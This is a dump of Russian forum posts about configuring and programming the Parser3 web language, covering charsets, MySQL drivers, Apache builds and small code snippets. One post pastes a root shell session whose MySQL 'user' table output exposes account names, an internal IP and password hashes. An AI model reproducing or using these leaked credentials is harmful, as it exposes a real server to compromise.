Если вы пишете о скрипте, который будет запускаться пару раз в день (каждый час, например), перекачивать по 500K каждый раз, то parser3 с этим вполне справится. \
\
Если вы пишете о непрерывной работе (24/7), гигабайтах данных, то для этого лучше воспользоваться оригинальными языками, [i]специально[/i] предназначенными для написания системного ПО. \
\
Удачи! "
"5626","Parser постоянно выдает ошибку\
d:/winxp/parser3/parser3.conf(12): 'windows-1251' unknown charset  type: parser.runtime.\
все вроде настроено по инструкции…\
-- D:\\WINXP\\parser3\\parser3.conf\
@auto[]\
$charsetsdir[d:\\winxp\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\winxp\\parser3\\lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#source/client charsets\
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
odbc	$sqldriversdir/parser3odbc.dll\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	C:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin&ORACLE_HOME=C:\\Oracle\\Ora81&ORA_NLS33=C:\\Oracle\\Ora81\\ocommon\\nls\\ADMIN\\DATA\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
/-------------------\
lib и etc тоже перетащил в D:\\WINXP\\parser3\\\
Apache (win32) поставил в\
D:\\ Apache\
Parser поставил parser3_1_0_0001_win32_cgi_xml\
Уже все перепробовал, но на $response:charset[windows-1251] \
все равно выдает ошибку (кодировки я установил в D:\\WINXP\\parser3\\etc\\parser3.charsets)"
"5627","ты чего в .htaccess пишешь?"
"5628","результат - тот же :(\
похоже, символ с кодом 0x00 сводит парсер с ума.\
подскажите плиз!!! очень надо отправить картинку вместе с письмом!"
"5629","Почему-то Парсер стал жутко тормозить (заметно невооруженным глазом),при обработке страницы (RE 7.2) запускается процесс с 4% загрузкой проца. Не трудно посчитать, что 20 пользователей сразу практически полностью загрузят систему. В чем может быть дело?"
"5630","тута работал с 100 пользователями одновременно и ничего."
"5631","Большие циклы, многочисленные подключения к SQL-серверу и т.д..."
"5634","Если бы... Страница примитивная, всё хранится в файлах. И, что самое интересное, недавно работало отлично... Попытаюсь-таки локализовать проблему."
"5635","А как добавлять данные в tab-delimited таблицу (в *.txt файле) не в конец, а в начало. Или вызывать данные из tab-delimited таблицы с конца в начало, то есть новости выводить нормально. "
"5637","2. ставишь курсор в начало файла\
3. добавляешь новость в начало файла\
\
к парсерному объекту \"таблица\" можно только аппендить данные.\
\
можешь создать новый объект с новой новостью, и потом сделать join[] загруженой таблицы..."
"5638","parser3 != Excel"
"5639","прямых операторов нет"
"5641","Позвольте снова обратиться со свосей проблемой!\
Краткая хронология:\
-Не заработал MySQL, начал искать причину...\
-После долгих поисков нашёл, что конфиг по умолчанию вообще не читается, исправил.\
Попутно, чтобы добавить Парсеру возможность читать файлы, принадлежащие другим группам, мы скомпилировали его из исходных текстов.\
Замечу, что пробовали использовать всевозможные параметры, которые (по нашему мнению) могли иметь отношение к MySQL, но на конечный результат это абсолютно не влияло, поэтому окончательно скомпилировали Parser без параметров, то есть configure -> make -> make install\
\
Дальше убедились в том, что начальный auto.p читается, секция $SQL в нём не закомментарена и имеет вид:\
[code]\
make[2]: Nothing to be done for `install-exec-am'.\
/bin/sh ../mkinstalldirs /usr/local/bin\
 /usr/bin/install -c -m 644 ./auto.p.dist /usr/local/bin/auto.p.dist\
make[2]: Leaving directory `/usr/src/parser-3.0.0005/bin'\
make[1]: Leaving directory `/usr/src/parser-3.0.0005/bin'\
make[1]: Entering directory `/usr/src/parser-3.0.0005'\
make[2]: Entering directory `/usr/src/parser-3.0.0005'\
make[2]: Nothing to be done for `install-exec-am'.\
make[2]: Nothing to be done for `install-data-am'.\
make[2]: Leaving directory `/usr/src/parser-3.0.0005'\
make[1]: Leaving directory `/usr/src/parser-3.0.0005'\
[root@pearl parser-3.0.0005]# [root@pearl bin]# ./mysql -u root -p\
Enter password:\
Welcome to the MySQL monitor.  Commands end with ; or \\g.\
Your MySQL connection id is 1703 to server version: 3.23.49-log\
\
Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.\
\
mysql> show databases\
    -> ;\
+---------------------+\
| Database            |\
+---------------------+\
| af                  |\
| mysql               |\
| parser              |\
| php                 |\
| test                |\
| tmp                 |\
| traffic             |\
| traffic1            |\
| traffic_last        |\
| traffic_preferences |\
+---------------------+\
10 rows in set (0.02 sec)\
\
mysql> use parser\
Database changed\
mysql> create table news (\
    -> id int not null auto_increment primary key\
    -> date date\
    -> header varchar(255)\
    -> body text);\
ERROR 1064: You have an error in your SQL syntax near 'date date\
header varchar(255)\
body text)' at line 3\
mysql> create table news (\
    -> id int not null auto_increment primary key;\
ERROR 1064: You have an error in your SQL syntax near '' at line 2\
mysql> create table news (\
    -> id int not null auto_increment primary key;,\
ERROR 1064: You have an error in your SQL syntax near '' at line 2\
mysql> create table news (\
    -> id int not null auto_increment primary key,\
    -> date date,\
    -> header varchar(255),\
    -> body text);\
Query OK, 0 rows affected (0.01 sec)\
\
mysql> show tables\
    -> ;\
+------------------+\
| Tables_in_parser |\
+------------------+\
| news             |\
+------------------+\
1 row in set (0.00 sec)\
\
mysql> describe news;\
+--------+--------------+------+-----+---------+----------------+\
| Field  | Type         | Null | Key | Default | Extra          |\
+--------+--------------+------+-----+---------+----------------+\
| id     | int(11)      |      | PRI | NULL    | auto_increment |\
| date   | date         | YES  |     | NULL    |                |\
| header | varchar(255) | YES  |     | NULL    |                |\
| body   | text         | YES  |     | NULL    |                |\
+--------+--------------+------+-----+---------+----------------+\
4 rows in set (0.03 sec)\
\
mysql> create user\
    -> ;\
ERROR 1064: You have an error in your SQL syntax near 'user' at line 1\
mysql> use users\
ERROR 1049: Unknown database 'users'\
mysql> show databases\
    -> ;\
+---------------------+\
| Database            |\
+---------------------+\
| af                  |\
| mysql               |\
| parser              |\
| php                 |\
| test                |\
| tmp                 |\
| traffic             |\
| traffic1            |\
| traffic_last        |\
| traffic_preferences |\
+---------------------+\
10 rows in set (0.00 sec)\
\
mysql> use mysql\
Database changed\
mysql> show tables;\
+-----------------+\
| Tables_in_mysql |\
+-----------------+\
| columns_priv    |\
| db              |\
| func            |\
| host            |\
| tables_priv     |\
| user            |\
+-----------------+\
6 rows in set (0.02 sec)\
\
mysql> describe user;\
+-----------------+-----------------+------+-----+---------+-------+\
| Field           | Type            | Null | Key | Default | Extra |\
+-----------------+-----------------+------+-----+---------+-------+\
| Host            | char(60) binary |      | PRI |         |       |\
| User            | char(16) binary |      | PRI |         |       |\
| Password        | char(16) binary |      |     |         |       |\
| Select_priv     | enum('N','Y')   |      |     | N       |       |\
| Insert_priv     | enum('N','Y')   |      |     | N       |       |\
| Update_priv     | enum('N','Y')   |      |     | N       |       |\
| Delete_priv     | enum('N','Y')   |      |     | N       |       |\
| Create_priv     | enum('N','Y')   |      |     | N       |       |\
| Drop_priv       | enum('N','Y')   |      |     | N       |       |\
| Reload_priv     | enum('N','Y')   |      |     | N       |       |\
| Shutdown_priv   | enum('N','Y')   |      |     | N       |       |\
| Process_priv    | enum('N','Y')   |      |     | N       |       |\
| File_priv       | enum('N','Y')   |      |     | N       |       |\
| Grant_priv      | enum('N','Y')   |      |     | N       |       |\
| References_priv | enum('N','Y')   |      |     | N       |       |\
| Index_priv      | enum('N','Y')   |      |     | N       |       |\
| Alter_priv      | enum('N','Y')   |      |     | N       |       |\
+-----------------+-----------------+------+-----+---------+-------+\
17 rows in set (0.00 sec)\
\
mysql> select * from user;\
+--------------+---------------+------------------+-------------+-------------+-\
------------+-------------+-------------+-----------+-------------+-------------\
--+--------------+-----------+------------+-----------------+------------+------\
------+\
| Host         | User          | Password         | Select_priv | Insert_priv |\
Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_pri\
v | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter\
_priv |\
+--------------+---------------+------------------+-------------+-------------+-\
------------+-------------+-------------+-----------+-------------+-------------\
--+--------------+-----------+------------+-----------------+------------+------\
------+\
| localhost    | root          | 778bd94408e8b85b | Y           | Y           |\
Y           | Y           | Y           | Y         | Y           | Y\
  | Y            | Y         | Y          | Y               | Y          | Y\
      |\
| pearl        | root          | 778bd94408e8b85b | Y           | Y           |\
Y           | Y           | Y           | Y         | Y           | Y\
  | Y            | Y         | Y          | Y               | Y          | Y\
      |\
| localhost    |               |                  | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
| pearl        |               |                  | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
| localhost    | traffic_admin | 67995f2f3426bf9c | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
| localhost    | traffic_user  | 5ded91962311cfb6 | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
| localhost    | php           | 78dd5d5527ff2ad0 | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
| 172.31.1.130 | php           | 78dd5d5527ff2ad0 | N           | N           |\
N           | N           | N           | N         | N           | N\
  | N            | N         | N          | N               | N          | N\
      |\
[root@pearl bin]#\
\
\
\
\
\
\
\
\
\
\
\
\
\
auto.p              [B---]  1:  1+20= 21/120 - *719 /3143b= 10\
#$Id: auto.p.dist.in,v 1.3.4.1 2002/08/02 11:43:18 paf Exp $\
\
@conf[]\
$charsetsdir[/usr/local/parser/etc/parser3.charsets]\
$sqldriversdir[/usr/local/parser/lib]\
<!-- proceeding BIG auto.p -->\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       [color=\"red\"]/usr/local/mysql/bin/mysql[/color]\
pgsql   $sqldriversdir/libparser3pgsql.so       -configure could not guess-\
oracle  $sqldriversdir/libparser3oracle.so      -configure could not guess-\
}]\
]\
[/code]\
\
Строчку, которая выделена красным подбирали \"на ощупь\". Пробовали много вариантов, результат практически одинаковый.\
\
Сейчас добились устойчивого результата: до тех пор, пока не идёт обращение к MySQL всё работает отлично, когда же встречается MySQL - вылетает 500-я ошибка, Internal Server Error.\
\
Смотрим в логи Apache и видим:\
6:13:13 2002] [error] [client 192.168.100.7] Premature end of script headers: /home/httpd/www/vniiftri.ru/cgi-bin/parser3.cgi\
\
Кстати иногда добивались и такой ошибки (в логах):\
4:30:43 2002] /admin/index.htmlp: ./auto.p(4): '/usr/local/parser/lib/libparser3mysql.so' driver failed to initialize client\
\
Пожалуйста, помогите дельным советом!!! Какие параметры где указывать, надо ли при компиляции что-то делать по-другому???\
\
Заранее спасибо!\
"
"5642","Извиняюсь, текст из клипборда неправильно вставился...\
\
Кусок кода следует читать вот так:\
[code]\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/mysql/bin/mysql\
pgsql   $sqldriversdir/libparser3pgsql.so       -configure could not guess-\
oracle  $sqldriversdir/libparser3oracle.so      -configure could not guess-\
}]\
]\
[/code]\
\
А строчка, которая вызывает у меня сомнения:\
[color=\"red\"]\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/mysql/bin/mysql\
[/color]"
"5643","метод ^таблица.sort"
"5644","Я, извините, новичек. Так что можно поподробнее."
"5645","неблагодарное это дело, - ковыряние с текстовыми файлами, мартышкин труд. Лучше сразу начать изучать нормальное средство:\
[quote]\
Лучше день потерять, зато потом за пять минут долететь\
[/quote]\
Цитата из мультика"
"5646","неужели сложно для этого реализовать оператор присваивания? override или как там."
"5647","+++ поменяй группу для ВСЕХ файлов парсера(и сам парсер и дрова к нему и конфиги)!!!!"
"5654",">Может DefaultDocument не прописан?\
Где?\
\
Броузер пишет: НЕВОЗМОЖНО ОТОБРАЗИТЬ СТРАНИЦУ.\
Всего лишь ;)\
"
"5656","То есть получается строчку\
[code]\
mysql $sqldriversdir/libparser3mysql.so /usr/local/mysql/bin/mysql\
[/code]\
поменять на\
[code]\
mysql $sqldriversdir/libparser3mysql.so $sqldriversdir/libparser3mysql.so\
[/code]\
???\
\
То есть два раза его в один и тот же файл ткнуть? Нет, непохоже на то, чтобы так надо было сделать..\
\
Вопрос второй - куда менять группу парсера, дров и конфигов?\
И зачем, ведь при перекомпиляции я дал ему возможность читать файлы не своей группы. Кстати группу Парсера мне поменять и не получиться, его же httpd запускает... Дело не в группах - всё он прекрасно читает..."
"5657","Здорово други!\
\
А где тут можно про регулярные выражения почитать?\
Надо файлы выбрать по маске tn_*.*, а в другом случае это tn_ отрезать?"
"5660","как я понял, в любом случае, кодировка не влияет на сами файлы таблиц, влияет только на сортировку и т. д. Т. е. нужно подменить только сам сервер/настройки. ;-) А это не должно занимать очень много времени. В любом случае, одновременно можно запускать любое количество mysql серверов (установленных в разные папки и работающих на разных портах), так что если всё делать внимательно, это не должно быть большой проблемой. ;-)\
\
Фактически же, кодировка баз данных (таблиц) у вас koi8-r, просто сервер об этом не подозревает. ;-)"
"5661","Это и есть «оригинальный продукт». Просто в слегка расчлененном виде (разбит на модули по частоте использования). Функциональность от этого не теряется (все компоненты, за исключением Apache [и это скоро изменится], можно даже ставить прямо «поверх», с «больших» дистрибутивов новых версий)."
"5662","Вопрос такой:\"Чем РЕАЛЬНО! парсер лучше PERL'а или PHP?\""
"5663","Сайт написан на Парсере.\
Ссылки на банер находятся в Auto.p\
<img src=\"/images/banners/468x60.gif\" width=\"468\" height=\"60\">\
Иногда бывает, после загрузки некоторое время непоказываются банеры (иногда вообще непоказываются), затем вдруг начинают показываться.\
Причем когда банеры отсутствуют, вместо них вообще ничего не рисуется."
"5664","очень просто для простых УРЛов типа\
/article/3/...\
\
@getUrl[]\
$query[$request:uri]\
$queryparts[^query.lsplit[/]]\
$result[^queryparts.flip[]]\
\
возвращается массив $url.0... $url.1 и т.д.\
в url.0 будет article а в .1 будет 3."
"5665","по возможностям он даже хуже. Но мне, например, на нём просто удобнее."
"5666","у тебя, возможно, стоит какой-нибудь баннеро-киллер или файрвол который их режет... а ты и забыл про него."
"5667","$charsetsdir[d:\\winxp\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\winxp\\parser3\\lib]\
----------------------------------\
попробуй слэши обратные здесь"
"5668","А по скорости?"
"5669","если как CGI - то медленно"
"5670","1) лучше(хуже) PHP, PERL et c. - тебе в FAQ(IMHO удобством кодинга, в P^2, теми фишками что есть в P^3)\
2) скорость? посмотри портфолио и почитай хорошие книги по программингу - избавить от написания медленного кода(и на PHP тоже ;) )мне пока хватает"
"5671","а FLIP зачем? разве сплит не в строку пишет?"
"5673","День добрый.\
Форматная строка чтобы размер файла вывелся с дилемитерами :-) Как?? ) В доке инфы нет, только точности и размер.\
Через match[(\\S{3}][g]{$match.1,} можно сделать, но он с начала строки делит, а надо в реверсном порядке. Может матчу можно опцию задать чтобы в обратном порядке обрабатывал?\
Короче, как? ))))"
"5674","Посмотри тут: http://parser.ru/examples/lib/\
\
на метод @file_size[...]\
\
конечно, он несовершенен, но... я нарисовал его быстренько, юзаю и не жужжу :)"
"5675","Попробуй это (написано недавно, после всестороннего тестирования добавлю в lib.p)\
\
[code]\
@goodNumber[number_in;divider_in;decimal_divider_in][numberSign;numberParts;numberLeftPart;right_part;numberOut;leftn]\
$numberParts[^number_in.lsplit[.]]\
\
$numberSign(^math:sign($numberParts.piece))\
$numberLeftPart[^eval(^math:abs($numberParts.piece))[%d]]\
\
^if(^numberParts.count[] > 1){\
    ^numberParts.offset(1)\
    $right_part[$numberParts.piece]\
}\
\
^if(^numberLeftPart.length[] > 4){\
        $left_length_mod(^numberLeftPart.length[] % 3)\
        ^if($left_length_mod){\
                $leftn[^numberLeftPart.match[(\\d{$left_length_mod})(\\d*)]]\
                $numberOut[$leftn.1]\
                $numberLeftPart[$leftn.2]\
        }{\
                $numberOut[]\
        }\
        $num(0)\
        $numberOut[${numberOut}^numberLeftPart.match[(\\d{3})][g]{^if($num || def\
$numberOut){^if(def $divider_in){$divider_in}{&nbsp^;}}^num.inc(1)$match.1}]\
}{\
        $numberOut[$numberLeftPart]\
}\
\
$result[^if($numberSign < 0){-}${numberOut}^if(^numberParts.count[] > 1){^if(def\
$decimal_divider_in){$decimal_divider_in}{,}$right_part}]\
[/code]\
"
"5676",")))))) взял, вставил и юзаю ))))))\
спасибо )"
"5677","да )) это оно )\
вернее мне надо было то, что ты дал раньше.\
узко-заточеный вариант этого \"оно\".\
а это мне вдругом месте пригодится ) не на хомупаге а на большом сайте )"
"5678","Простейшие методы отказываются выполняться.\
\
Есть всего два файла index.html и auto.p\
index.html:\
$name[*******]\
$css[*******.css]\
^verh[]\
^niz[]\
\
auto.p:\
auto\
^verh[]\
^niz[]\
$connect_string[mysql://flyid:****@localhost/*******]\
\
@verh[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"><html><head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=koi8-r\">\
<title>******** - $name</title>\
<meta name=\"Author\" content=\"******* i Flyid\">\
<link rel=\"StyleSheet\" type=\"text/css\" href=\"$css\">\
</head><body>\
<p class=\"name\">*********&nbsp;</p>\
<p class=\"menb\"> &nbsp;&nbsp;&nbsp;$name</p>\
\
@niz[]\
$now[^date::now[]]\
<br><p class=\"author\">*********&Flyid - $now.year</p>\
</body></html> \
\
а он мне отвечает:\
/www/flyid.****.ru/html/auto.p(6:1): parse error, expecting `$'\
exception.type=parser.compile  \
\
и кокраз шестой строчкой наченается пользовательский метод, может у меня глаз замылился но непойму что не так-то?  "
"5679","Есть меню которое реализовано как таблицы в таблице то есть:\
---------------------------------------\
<table cellpadding=\"0\" cellspacing=\"0\">\
<tr>\
<td>\
<table cellpadding=\"3\" cellspacing=\"0\" border=\"0\">\
<tr>\
<td>\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">1:</A><br>\
<A HREF=\"\" TITLE=\"\">1.1</A><br>\
</td>\
</tr>\
</table>\
</td>\
<td>\
<table cellpadding=\"3\" cellspacing=\"0\" border=\"0\">\
<tr>\
<td>\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">2:</A><br>\
<A HREF=\"\" TITLE=\"\">2.1</A><br>\
<A HREF=\"\" TITLE=\"\">2.2</A><br>\
</td>\
</tr>\
</table>\
</td>\
</tr>\
</table>\
---------\
Для того чтобы выделить пункты меню в отдельный файл заменяю:\
---------------------------------------------------------------\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">1:</A><br>\
<A HREF=\"\" TITLE=\"\">1.1</A><br>\
-------------------------------\
и\
-------------------------------------------------------------\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">2:</A><br>\
<A HREF=\"\" TITLE=\"\">2.1</A><br>\
<A HREF=\"\" TITLE=\"\">2.2</A><br>\
-------------------------------\
на\
-----------------------------------\
$sections[^table::load[stolb1.cfg]]\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">1:</A><br>\
^sections.menu{\
<A HREF=\"$sections.uri\" TITLE=\"\">$sections.name</A><br>}\
---------------------------------------------------------\
и\
-----------------------------------\
$sections[^table::load[stolb2.cfg]]\
<img src=\"\" alt=\"&nbsp;\" width=\"130\" height=\"1\"><br>\
<A HREF=\"\" TITLE=\"\">2:</A><br>\
^sections.menu{\
<A HREF=\"$sections.uri\" TITLE=\"\">$sections.name</A><br>}\
--------------------------------------------------------\
соответственно,\
но тогда будет два цфгшника, а если столбоков восемь, то восемь и тд, а как сделать чтобы был один цфгшник, может надо написать новый метод который будет проверять строчки и если строчка неопределена заканчивать цикл, а продолжать перебор в следующим цикле или есть другие решения?"
"5682","У меня проблема почти таже но броузер у меня катает следующее\
 \
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, webmaster@thomasdg.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
\
Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request. \
"
"5683","Люди добрые, помогите откомпилировать модуль\
для апачи (1.3.24) под Linux.\
\
Беру сорцы апач, распаковываю в\
/home/max/apache_1.3.24\
\
Беру сорцы parser-а, распаковываю в\
/home/max/parser-3.0.0005\
\
Делаю\
./configure\
в apache (без этого, configure в парзере не проходит, почему?),\
\
Затем\
./configure --with-apache13=/home/max/apache_1.3.24\
в parser-е. Затем make.\
\
Перехожу в apache, правлю в конце p3runConfigure \
--add-module=$P3S/targets/apache13/hook/mod_parser3.c\
на\
--add-module=$P3S/targets/apache13/mod_parser3.c\
\
Копирую mod_parser3.С mod_parser3.c\
\
Запускаю ./p3runConfigure\
Делаю make.\
Вываливается с сообщнием\
\
...\
===> src/modules/extra\
gcc -c  -I../../os/unix -I../../include   -DLINUX=22 -DUSE_HSREGEX `../../apaci` -fpic -DSHARED_MODULE mod_parser3.c && mv mod_parser3.o mod_parser3.lo\
mod_parser3.c:10:32: pa_config_includes.h: No such file or directory\
mod_parser3.c:16:24: pa_globals.h: No such file or directory\
...\
...\
...\
\
Вот два вопроса\
1) Где я ошибаюсь\
2) Причина неточностей в ./p3runConfigure (каталог hook которого нет) и почему в\
/home/max/parser-3.0.0005/src/targets/apache13\
есть файл mod_parser3.С, а файл который вроде требуется mod_parser3.c отсутствует."
"5684","пиши что говорят логи сервера. И настройки парсера. \
\
\"Never write down error messages. Just click OK, or restart your computer. We like to guess what the error message was. \""
"5685","И возможностей меньше, и работает медленно, и разработчик только один, которого не легко уговорить новые методы написать/старые поправить, а всё равно столько народа используют и хвалят? Как то странно. Вижу заговор! ;-)"
"5686","сделай в таблице (в CFG) ещё один столбец - menuID. и по нему будешь выбирать."
"5687","Ты наверное пошутил? Дельное предположение ;))\
Если браузер пишет что не может отобразить страницу, то это не проблема браузера, а страницы нету, он ее не находит !!!\
\
А настроить [i]Parser[/i] у меня все-таки не получилось. Толи мало доков по установке, толи это не для простого народа ;-/"
"5688","Просто в строку запуска сервера добавил \
[code]--default-character-set=koi8_ru[/code]\
\
Всем огромное спасибо."
"5689","Сорь за чайниковость, но как установить права доступа и что означают числа, коими они обозначаются?"
"5690","На cgi-bin и на parser3.cgi - 750 а на остальные файлы от parser'а - 700."
"5692","Можно ли используя средства только Парсера помещать двоичные объекты (картинки - jpg, gif, png)в базу данных и считывать их оттуда?\
Здесь (в форуме), по крайней мере, раньше часто дискутировали на тему: что лучше - Parser или PHP? Так вот, я нашел массу ссылок на запихивание картинок с помощью ПХП, а вот по поводу Парсера - пока ничего.\
Вот мое предложение (не работает):\
$imgdata[^file::load[binary;шьфпу.jpg]]\
^connect[$connect_string]{\
	^void:sql{\
	INSERT INTO images \
		(file_name, file_data)\
	VALUES\
		('$imgdata.name', '$imgdata')\
	}\
Я догадываюсь, что ошибка здесь между клавиатурой и стулом :), но все-таки, можно ли это сделать"
"5693","какова сама процедура изменения прав? Это правка некого конфига или соответствующие флажки в изменении прав доступа через web-интерфейс?"
"5694","да, уже обсуждалось и в форуме 2-го ПАРСЕРа тоже, я имею ввиду помещение картинок в базу.\
чаще всего приходили к выводу что проще ложить линк или название картинки."
"5695","С тем, что это (помещение бинарного файла в базу) замедляет работу базы данных я согласен. Но меня интересует принцип: можно или нет это осуществить.\
И потом, если бинарник (картинка) находится в базе, то он есть объект, те с ним гораздо легче (как мне кажется) выполнять какие-либо операции, чем с файлом лежащим на диске сервера. Может я не прав? Поясните, пожалуйста."
"5696","1) затолкать можно много что и много куда ;)\
просто прочти маны по SQL. Дело-то не в средствах парсера\
2) а вот тут по-подробней: какие операции с объектом ввиде бинарника лежащего в BLOB-поле хочешь делать?"
"5697","Стоит в куке указание - живет только сессию, но как таймаут устроить если чел ушел, на каждой \"закрытой\" странице проверять дату? \
больше 2-х минут с последнего обновления - \"пошел нафиг\", меньше - обновить дату и пусть дальше админит?"
"5698","На кой тебе интернет? Об этом есть есть полно информации.\
\
[url=\"http://www.yandex.ru/yandsearch?text=%E8%E7%EC%E5%ED%E5%ED%E8%E5+%EF%F0%E0%E2+%E4%EE%F1%F2%F3%EF%E0\"]Yandex(Права доступа)[/url]"
"5699","Только 2х минут мало будет.\
И потом, лучше на сервере держать файл с временем и ip последнего обращения, а в куку писать его название (типа session_id). Ведь дату у куки и поправить можно, а вот файлик на сервере - значительно сложнее ;-)"
"5700","возникла задача: сделать функцию в которую можно передать url, количество страниц всего, текущую страницу, количество блоков информаци (например сообщений) на странице, количество циферок подрят в навигаторе, дополнителный текст который будел засунут в тэг <a>.\
и чтобы получить на выходе <a href=\"url?s=0\">1</a> и т.д. и т.п. \
Т.е. навигатор аля на Яндексе когда при поиске много чего нашлось :-)\
вот что я сделал, если у кого есть время раскритиковать - скажите, мне это для большего понимания Parser-а надо )))\
ну и может вообще пригодится кому )))))\
[code]\
@generatenav[navstr;maxnum;current;onpage;onnav;style][delim;startnum;endnum;pagenum;onnav]\
^if($maxnum>$onpage){\
	^if($current<0){\
		$current(0)\
  	}\
  	^if($current>$maxnum){\
  		$current($maxnum)\
  	}\
  	^if(^navstr.match[\\?][g]){\
  		$delim[&]\
  	}{\
  		$delim[?]\
  	}\
  	^if(^math:floor($current/$onpage)>=$onnav){\
		$startnum(^math:floor($current/$onpage))\
		$startnum(^math:trunc($startnum/$onnav)*$onnav)\
  	}{\
  		$startnum(0)\
  	}\
	^if((($startnum+$onnav)*$onpage)<$maxnum){\
		$endnum($startnum+$onnav-1)\
  	}{\
  		^if(^math:frac($maxnum/$onpage)==0){\
			$endnum($maxnum/$onpage-1)\
  		}{\
			$endnum(^math:floor($maxnum/$onpage))\
		}\
  	}\
  	^if($startnum>=$onnav){\
  		<a href=^\"${navstr}${delim}s=^eval(($startnum-1)*$onpage)^\" $style>назад</a>&nbsp^;\
  	}  	\
  	^for[pagenum]($startnum;$endnum){\
  		<a href=^\"${navstr}${delim}s=^eval($pagenum*$onpage)^\" $style>^if(($pagenum*$onpage)==$current){<b>$pagenum</b>}{$pagenum}</a>\
  	}[&nbsp^;]\
  	^if((($endnum+1)*$onpage)<$maxnum){\
  		&nbsp^;<a href=^\"${navstr}${delim}s=^eval(($endnum+1)*$onpage)^\" $style>далее</a>\
  	}\
}\
#end of @generatenav[$navstr;$maxnum;$current]\
[/code]"
"5701","Дело в том, что у Парсера нет возможности работать с бинарными данными (точнее, не было 2 недели назад, и, может быть, хоть и сильно сомневаюсь, PAF это прикрутил).\
\
$imgdata в данном случае - объект типа file, но никак не его содержимое. Для содержимого есть только $file.text, но это именно текст со всеми вытекающими - протаптывание всех \"хитрых\" символов (типа \\x00) в пробелы (\\x20)..."
"5702","в случае успешной комбинации логин/пароль )) пишешь в базу некий uid и ip пользователя\
uid можно сгенерить так:\
[code]\
$uidstr[${form:passwd}${form:login}${env:REMOTE_ADDR}]\
^void:sql{insert into sessions(nick,uid,ip) values ('$user',MD5('$uidstr'),'$env:REMOTE_ADDR')}\
$uid[^string:sql{select MD5('$uidstr')}]\
[/code]\
прибиваешь куку. \
а дальше на всех страницах где надо делаешь проверку: если есть в базе запись с таким uid и таким ip - значит все ок.\
ну и ставишь еще по крону скрипт который чистит базу с uid-ами, с возрастом старше 12 часов (ну или сколько там надо).\
"
"5703","Мне кажется, что удобнее пользоваться именно колонкой - ^table.offset[set](number) + ^table.count[] надежнее, чем $table.3, ибо его просто может и не оказаться ;-)"
